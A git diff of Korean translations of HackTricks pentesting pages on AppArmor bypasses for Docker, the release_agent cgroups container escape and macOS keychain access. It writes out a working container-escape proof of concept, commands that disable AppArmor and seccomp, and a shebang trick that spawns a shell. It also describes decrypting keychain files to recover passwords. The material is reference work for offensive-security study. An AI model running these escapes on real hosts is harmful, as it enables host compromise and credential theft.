1 processes are in enforce mode.
|
1 processes are in enforce mode.
|
||||||
docker-default (825)
|
docker-default (825)
|
||||||
```
|
```
|
||||||
**apparmor은 심지어 컨테이너에 부여된 능력 권한도 차단할 것**입니다. 예를 들어, **SYS_ADMIN 능력이 부여되더라도 /proc 내부에 쓰기 권한을 차단**할 수 있습니다. 이는 기본적으로 도커 apparmor 프로필이 이 액세스를 거부하기 때문입니다:
|
Note that **apparmor는 기본적으로 컨테이너에 부여된 capabilities privileges도 차단합니다**. 예를 들어, **SYS\_ADMIN capability가 부여되더라도 /proc 내부에 쓰기 권한을 차단할 수 있습니다**. 기본적으로 docker apparmor 프로필이 이 접근을 거부하기 때문입니다:
|
||||||
```bash
|
```bash
|
||||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||||
echo "" > /proc/stat
|
echo "" > /proc/stat
|
||||||
sh: 1: cannot create /proc/stat: Permission denied
|
sh: 1: cannot create /proc/stat: Permission denied
|
||||||
```
|
```
|
||||||
**Apparmor를 비활성화**하여 제한을 우회해야 합니다:
|
You need to **disable apparmor** to bypass its restrictions:
|
||||||
|
당신은 그 제한을 우회하기 위해 **apparmor를 비활성화**해야 합니다:
|
||||||
```bash
|
```bash
|
||||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||||
```
|
```
|
||||||
기본적으로 **AppArmor**은 **컨테이너가 내부에서 폴더를 마운트하는 것을 금지**합니다. 심지어 SYS_ADMIN 능력이 있어도요.
|
기본적으로 **AppArmor**는 **SYS\_ADMIN** 권한이 있어도 컨테이너가 내부에서 폴더를 마운트하는 것을 **금지**합니다.
|
||||||
|
|
||||||
도커 컨테이너에 **능력을 추가/제거**할 수 있음을 유의하십시오 (이는 **AppArmor** 및 **Seccomp**과 같은 보호 방법에 의해 여전히 제한됨):
|
컨테이너에 **capabilities**를 **추가/제거**할 수 있지만(여전히 **AppArmor** 및 **Seccomp**와 같은 보호 방법에 의해 제한됩니다):
|
||||||
|
|
||||||
* `--cap-add=SYS_ADMIN`은 `SYS_ADMIN` 능력을 부여합니다.
|
* `--cap-add=SYS_ADMIN` `SYS_ADMIN` 권한 부여
|
||||||
* `--cap-add=ALL`은 모든 능력을 부여합니다.
|
* `--cap-add=ALL` 모든 권한 부여
|
||||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE`는 모든 능력을 제거하고 `SYS_PTRACE`만 부여합니다.
|
* `--cap-drop=ALL --cap-add=SYS_PTRACE` 모든 권한 제거 및 `SYS_PTRACE`만 부여
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
일반적으로 **도커** 컨테이너 **내부에서 특권 능력**을 발견했지만 **일부 부분의 exploit이 작동하지 않는** 경우, 이는 도커 **AppArmor가 방지하고 있기 때문**일 수 있습니다.
|
보통, **docker** 컨테이너 **내부**에서 **특권 권한**이 **있음을 발견**했지만 **익스플로잇의 일부가 작동하지 않는** 경우, 이는 docker **apparmor가 이를 방지하고 있기 때문**입니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### 예시
|
### 예시
|
||||||
|
|
||||||
([**여기**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)의 예시에서 가져옴)
|
(예시는 [**여기**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)에서 가져옴)
|
||||||
|
|
||||||
AppArmor 기능을 설명하기 위해 다음 줄이 추가된 새로운 Docker 프로필 "mydocker"를 만들었습니다:
|
AppArmor 기능을 설명하기 위해, 다음 줄을 추가하여 새로운 Docker 프로필 “mydocker”를 생성했습니다:
|
||||||
```
|
```
|
||||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||||
```
|
```
|
||||||
|
@ -241,35 +228,37 @@ deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||||
```
|
```
|
||||||
sudo apparmor_parser -r -W mydocker
|
sudo apparmor_parser -r -W mydocker
|
||||||
```
|
```
|
||||||
프로필을 나열하려면 다음 명령을 사용할 수 있습니다. 아래 명령은 새로운 AppArmor 프로필을 나열합니다.
|
프로필을 나열하려면 다음 명령을 실행할 수 있습니다. 아래 명령은 내 새로운 AppArmor 프로필을 나열하고 있습니다.
|
||||||
```
|
```
|
||||||
$ sudo apparmor_status | grep mydocker
|
$ sudo apparmor_status | grep mydocker
|
||||||
mydocker
|
mydocker
|
||||||
```
|
```
|
||||||
다음과 같이 AppArmor 프로필이 "/etc/"에 쓰기 액세스를 방지하고 있기 때문에 "/etc/"를 변경하려고 시도하면 오류가 발생합니다.
|
아래와 같이, AppArmor 프로파일이 “/etc”에 대한 쓰기 접근을 방지하고 있기 때문에 “/etc/”를 변경하려고 할 때 오류가 발생합니다.
|
||||||
```
|
```
|
||||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||||
chmod: /etc/hostname: Permission denied
|
chmod: /etc/hostname: Permission denied
|
||||||
```
|
```
|
||||||
### AppArmor Docker Bypass1
|
### AppArmor Docker Bypass1
|
||||||
|
|
||||||
컨테이너에서 실행 중인 **apparmor 프로필을 찾을 수 있습니다**.
|
어떤 **apparmor 프로파일이 컨테이너를 실행하고 있는지** 확인하려면:
|
||||||
```bash
|
```bash
|
||||||
docker inspect 9d622d73a614 | grep lowpriv
|
docker inspect 9d622d73a614 | grep lowpriv
|
||||||
"AppArmorProfile": "lowpriv",
|
"AppArmorProfile": "lowpriv",
|
||||||
"apparmor=lowpriv"
|
"apparmor=lowpriv"
|
||||||
```
|
```
|
||||||
그럼, 다음 줄을 실행하여 **사용 중인 정확한 프로필을 찾을 수 있습니다**:
|
그런 다음, 다음 명령어를 실행하여 **사용 중인 정확한 프로필을 찾을 수 있습니다**:
|
||||||
```bash
|
```bash
|
||||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||||
```
|
```
|
||||||
|
In the weird case you can **modify the apparmor docker profile and reload it.** 당신은 제한을 제거하고 "우회"할 수 있습니다.
|
||||||
|
|
||||||
### AppArmor Docker Bypass2
|
### AppArmor Docker Bypass2
|
||||||
|
|
||||||
**AppArmor는 경로를 기반으로** 하며, 이는 **`/proc`** 디렉토리 내의 파일을 **보호**하더라도 **컨테이너가 실행될 방법을 구성**할 수 있다면 호스트의 proc 디렉토리를 **`/host/proc`**에 마운트할 수 있으며, 이는 더 이상 AppArmor에 의해 **보호되지 않을 것**입니다.
|
**AppArmor는 경로 기반**입니다. 이는 **`/proc`**와 같은 디렉토리 내의 파일을 **보호**하고 있을지라도, **컨테이너가 어떻게 실행될지를 구성할 수 있다면**, 호스트의 proc 디렉토리를 **`/host/proc`**에 **마운트**할 수 있으며, 그러면 **더 이상 AppArmor에 의해 보호되지 않습니다**.
|
||||||
|
|
||||||
### AppArmor Shebang Bypass
|
### AppArmor Shebang Bypass
|
||||||
|
|
||||||
[**이 버그**](https://bugs.launchpad.net/apparmor/+bug/1911431)에서 **일부 리소스로 perl 실행을 방지하고 있더라도**, 첫 줄에 **`#!/usr/bin/perl`**을 지정한 쉘 스크립트를 만들고 **파일을 직접 실행**하면 원하는 작업을 실행할 수 있습니다. 예:
|
[**이 버그**](https://bugs.launchpad.net/apparmor/+bug/1911431)에서는 **특정 리소스와 함께 perl의 실행을 방지하고 있더라도**, 첫 번째 줄에 **`#!/usr/bin/perl`**을 지정한 셸 스크립트를 생성하고 **파일을 직접 실행하면**, 원하는 것을 실행할 수 있는 방법의 예를 볼 수 있습니다. 예:
|
||||||
```perl
|
```perl
|
||||||
echo '#!/usr/bin/perl
|
echo '#!/usr/bin/perl
|
||||||
use POSIX qw(strftime);
|
use POSIX qw(strftime);
|
||||||
|
@ -279,29 +268,17 @@ exec "/bin/sh"' > /tmp/test.pl
|
||||||
chmod +x /tmp/test.pl
|
chmod +x /tmp/test.pl
|
||||||
/tmp/test.pl
|
/tmp/test.pl
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 기반으로 한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 **무료**로 엔진을 시험해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 레포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,37 +1,24 @@
|
||||||
# Docker release_agent cgroups escape
|
# Docker release\_agent cgroups escape
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 해킹 요령을 공유하려면 PR을 **HackTricks** 및 **HackTricks Cloud** github 저장소에 제출하세요.
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
**자세한 내용은** [**원본 블로그 게시물**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**을 참조하십시오.** 이것은 요약입니다:
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 활용한 검색 엔진으로, 회사나 고객이 **스틸러 악성 코드**에 의해 **침해**당했는지 무료로 확인할 수 있는 기능을 제공합니다.
|
Original PoC:
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 도난 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 엔진을 **무료**로 시험해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**자세한 내용은** [**원본 블로그 게시물**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**를 참조하세요.** 이것은 요약입니다:
|
|
||||||
|
|
||||||
원본 PoC:
|
|
||||||
```shell
|
```shell
|
||||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||||
|
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||||
```
|
```
|
||||||
다음은 cgroups를 악용하는 방법을 시연하는 증명-of-concept (PoC)입니다. `release_agent` 파일을 생성하고 해당 파일을 트리거하여 컨테이너 호스트에서 임의의 명령을 실행하는 방법을 보여줍니다. 다음은 수행되는 단계를 설명합니다:
|
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
|
||||||
|
|
||||||
1. **환경 설정:**
|
1. **환경 준비:**
|
||||||
* `/tmp/cgrp` 디렉토리를 생성하여 cgroup의 마운트 지점으로 사용합니다.
|
* cgroup의 마운트 지점으로 사용할 `/tmp/cgrp` 디렉토리가 생성됩니다.
|
||||||
* RDMA cgroup 컨트롤러를 이 디렉토리에 마운트합니다. RDMA 컨트롤러가 없는 경우 `memory` cgroup 컨트롤러를 대안으로 사용하는 것이 제안됩니다.
|
* RDMA cgroup 컨트롤러가 이 디렉토리에 마운트됩니다. RDMA 컨트롤러가 없는 경우, `memory` cgroup 컨트롤러를 대안으로 사용하는 것이 좋습니다.
|
||||||
```shell
|
```shell
|
||||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||||
```
|
```
|
||||||
2. **자식 Cgroup 설정:**
|
2. **자식 Cgroup 설정:**
|
||||||
* 마운트된 cgroup 디렉토리 내에 "x"라는 이름의 자식 cgroup이 생성됩니다.
|
* 마운트된 cgroup 디렉토리 내에 "x"라는 이름의 자식 cgroup이 생성됩니다.
|
||||||
* "x" cgroup에 대한 알림은 notify\_on\_release 파일에 1을 쓰는 것으로 활성화됩니다.
|
* "x" cgroup에 대해 notify\_on\_release 파일에 1을 작성하여 알림이 활성화됩니다.
|
||||||
```shell
|
```shell
|
||||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||||
```
|
```
|
||||||
3. **릴리스 에이전트 구성:**
|
3. **릴리스 에이전트 구성:**
|
||||||
* 호스트에서 컨테이너의 경로는 /etc/mtab 파일에서 얻습니다.
|
* 호스트의 컨테이너 경로는 /etc/mtab 파일에서 가져옵니다.
|
||||||
* 그런 다음 cgroup의 release\_agent 파일을 구성하여 획득한 호스트 경로에 위치한 /cmd 스크립트를 실행합니다.
|
* 그런 다음 cgroup의 release\_agent 파일을 구성하여 획득한 호스트 경로에 위치한 /cmd라는 스크립트를 실행합니다.
|
||||||
```shell
|
```shell
|
||||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||||
```
|
```
|
||||||
4. **/cmd 스크립트 생성 및 구성:**
|
4. **/cmd 스크립트 생성 및 구성:**
|
||||||
* /cmd 스크립트는 컨테이너 내부에 생성되고 ps aux를 실행하도록 구성되며, 출력을 컨테이너 내의 /output이라는 파일로 리다이렉트합니다. 호스트에서 /output의 전체 경로가 지정됩니다.
|
* /cmd 스크립트는 컨테이너 내에서 생성되며 ps aux를 실행하도록 구성되어 있으며, 출력은 컨테이너 내의 /output이라는 파일로 리디렉션됩니다. 호스트에서 /output의 전체 경로가 지정됩니다.
|
||||||
```shell
|
```shell
|
||||||
echo '#!/bin/sh' > /cmd
|
echo '#!/bin/sh' > /cmd
|
||||||
echo "ps aux > $host_path/output" >> /cmd
|
echo "ps aux > $host_path/output" >> /cmd
|
||||||
chmod a+x /cmd
|
chmod a+x /cmd
|
||||||
```
|
```
|
||||||
5. **공격 트리거:**
|
5. **공격 시작:**
|
||||||
* "x" 자식 cgroup 내에서 프로세스가 시작되고 즉시 종료됩니다.
|
* "x" 자식 cgroup 내에서 프로세스가 시작되고 즉시 종료됩니다.
|
||||||
* 이로 인해 `release_agent` (/cmd 스크립트)가 트리거되어 호스트에서 ps aux를 실행하고 결과를 컨테이너 내의 /output에 작성합니다.
|
* 이로 인해 `release_agent`(the /cmd script)가 트리거되어 호스트에서 ps aux를 실행하고 출력을 컨테이너 내의 /output에 기록합니다.
|
||||||
```shell
|
```shell
|
||||||
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
|
||||||
```
|
```
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)은 **다크 웹**을 기반으로 한 검색 엔진으로, 회사나 그 고객이 **스틸러 악성 소프트웨어**에 의해 **침해**당했는지 확인하는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 방문하여 엔진을 **무료**로 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹을 배우고 실습하세요:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹을 배우고 실습하세요: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃헙 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,26 +15,13 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Main Keychains
|
## Main Keychains
|
||||||
|
|
||||||
* **사용자 키체인** (`~/Library/Keychains/login.keycahin-db`): 애플리케이션 비밀번호, 인터넷 비밀번호, 사용자 생성 인증서, 네트워크 비밀번호 및 사용자 생성 공개/개인 키와 같은 **사용자 특정 자격 증명**을 저장하는 데 사용됩니다.
|
* **사용자 키체인** (`~/Library/Keychains/login.keycahin-db`), 애플리케이션 비밀번호, 인터넷 비밀번호, 사용자 생성 인증서, 네트워크 비밀번호 및 사용자 생성 공개/개인 키와 같은 **사용자 특정 자격 증명**을 저장하는 데 사용됩니다.
|
||||||
* **시스템 키체인** (`/Library/Keychains/System.keychain`): WiFi 비밀번호, 시스템 루트 인증서, 시스템 개인 키 및 시스템 애플리케이션 비밀번호와 같은 **시스템 전체 자격 증명**을 저장합니다.
|
* **시스템 키체인** (`/Library/Keychains/System.keychain`), WiFi 비밀번호, 시스템 루트 인증서, 시스템 개인 키 및 시스템 애플리케이션 비밀번호와 같은 **시스템 전체 자격 증명**을 저장합니다.
|
||||||
|
|
||||||
### 비밀번호 키체인 접근
|
### Password Keychain Access
|
||||||
|
|
||||||
이 파일들은 본래 보호가 없고 **다운로드**할 수 있지만, 암호화되어 있으며 **사용자의 평문 비밀번호로 복호화**해야 합니다. [**Chainbreaker**](https://github.com/n0fate/chainbreaker)와 같은 도구를 사용하여 복호화할 수 있습니다.
|
이 파일들은 본래 보호가 없고 **다운로드**할 수 있지만, 암호화되어 있으며 **사용자의 평문 비밀번호로 복호화**해야 합니다. [**Chainbreaker**](https://github.com/n0fate/chainbreaker)와 같은 도구를 사용하여 복호화할 수 있습니다.
|
||||||
|
|
||||||
|
@ -42,40 +29,40 @@ WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한
|
||||||
|
|
||||||
### ACLs
|
### ACLs
|
||||||
|
|
||||||
키체인의 각 항목은 **Access Control Lists (ACLs)**에 의해 관리되며, 이는 키체인 항목에 대해 다양한 작업을 수행할 수 있는 사람을 규정합니다:
|
키체인의 각 항목은 **액세스 제어 목록(ACLs)**에 의해 관리되며, 이는 누가 키체인 항목에 대해 다양한 작업을 수행할 수 있는지를 규정합니다:
|
||||||
|
|
||||||
* **ACLAuhtorizationExportClear**: 보유자가 비밀의 평문을 얻을 수 있도록 허용합니다.
|
* **ACLAuhtorizationExportClear**: 보유자가 비밀의 평문을 가져올 수 있도록 허용합니다.
|
||||||
* **ACLAuhtorizationExportWrapped**: 보유자가 다른 제공된 비밀번호로 암호화된 평문을 얻을 수 있도록 허용합니다.
|
* **ACLAuhtorizationExportWrapped**: 보유자가 다른 제공된 비밀번호로 암호화된 평문을 가져올 수 있도록 허용합니다.
|
||||||
* **ACLAuhtorizationAny**: 보유자가 모든 작업을 수행할 수 있도록 허용합니다.
|
* **ACLAuhtorizationAny**: 보유자가 모든 작업을 수행할 수 있도록 허용합니다.
|
||||||
|
|
||||||
ACL은 이러한 작업을 사용자에게 요청하지 않고 수행할 수 있는 **신뢰할 수 있는 애플리케이션 목록**과 함께 제공됩니다. 이는 다음과 같을 수 있습니다:
|
ACL은 이러한 작업을 사용자에게 요청하지 않고 수행할 수 있는 **신뢰할 수 있는 애플리케이션 목록**과 함께 제공됩니다. 이는 다음과 같을 수 있습니다:
|
||||||
|
|
||||||
* **N`il`** (인증 필요 없음, **모두 신뢰됨**)
|
* **N`il`** (인증 필요 없음, **모두 신뢰됨**)
|
||||||
* **빈** 목록 (**아무도** 신뢰되지 않음)
|
* **빈** 목록 (**아무도** 신뢰되지 않음)
|
||||||
* **특정 애플리케이션**의 **목록**.
|
* 특정 **애플리케이션**의 **목록**.
|
||||||
|
|
||||||
또한 항목에는 **`ACLAuthorizationPartitionID`**라는 키가 포함될 수 있으며, 이는 **teamid, apple,** 및 **cdhash**를 식별하는 데 사용됩니다.
|
또한 항목에는 **`ACLAuthorizationPartitionID`**라는 키가 포함될 수 있으며, 이는 **teamid, apple,** 및 **cdhash**를 식별하는 데 사용됩니다.
|
||||||
|
|
||||||
* **teamid**가 지정된 경우, **프롬프트 없이** 항목 값을 **접근하기 위해** 사용된 애플리케이션은 **같은 teamid**를 가져야 합니다.
|
* **teamid**가 지정된 경우, **프롬프트 없이** 항목 값을 **액세스**하려면 사용된 애플리케이션이 **같은 teamid**를 가져야 합니다.
|
||||||
* **apple**이 지정된 경우, 애플리케이션은 **Apple**에 의해 **서명**되어야 합니다.
|
* **apple**이 지정된 경우, 앱은 **Apple**에 의해 **서명**되어야 합니다.
|
||||||
* **cdhash**가 표시된 경우, **앱**은 특정 **cdhash**를 가져야 합니다.
|
* **cdhash**가 표시된 경우, **앱**은 특정 **cdhash**를 가져야 합니다.
|
||||||
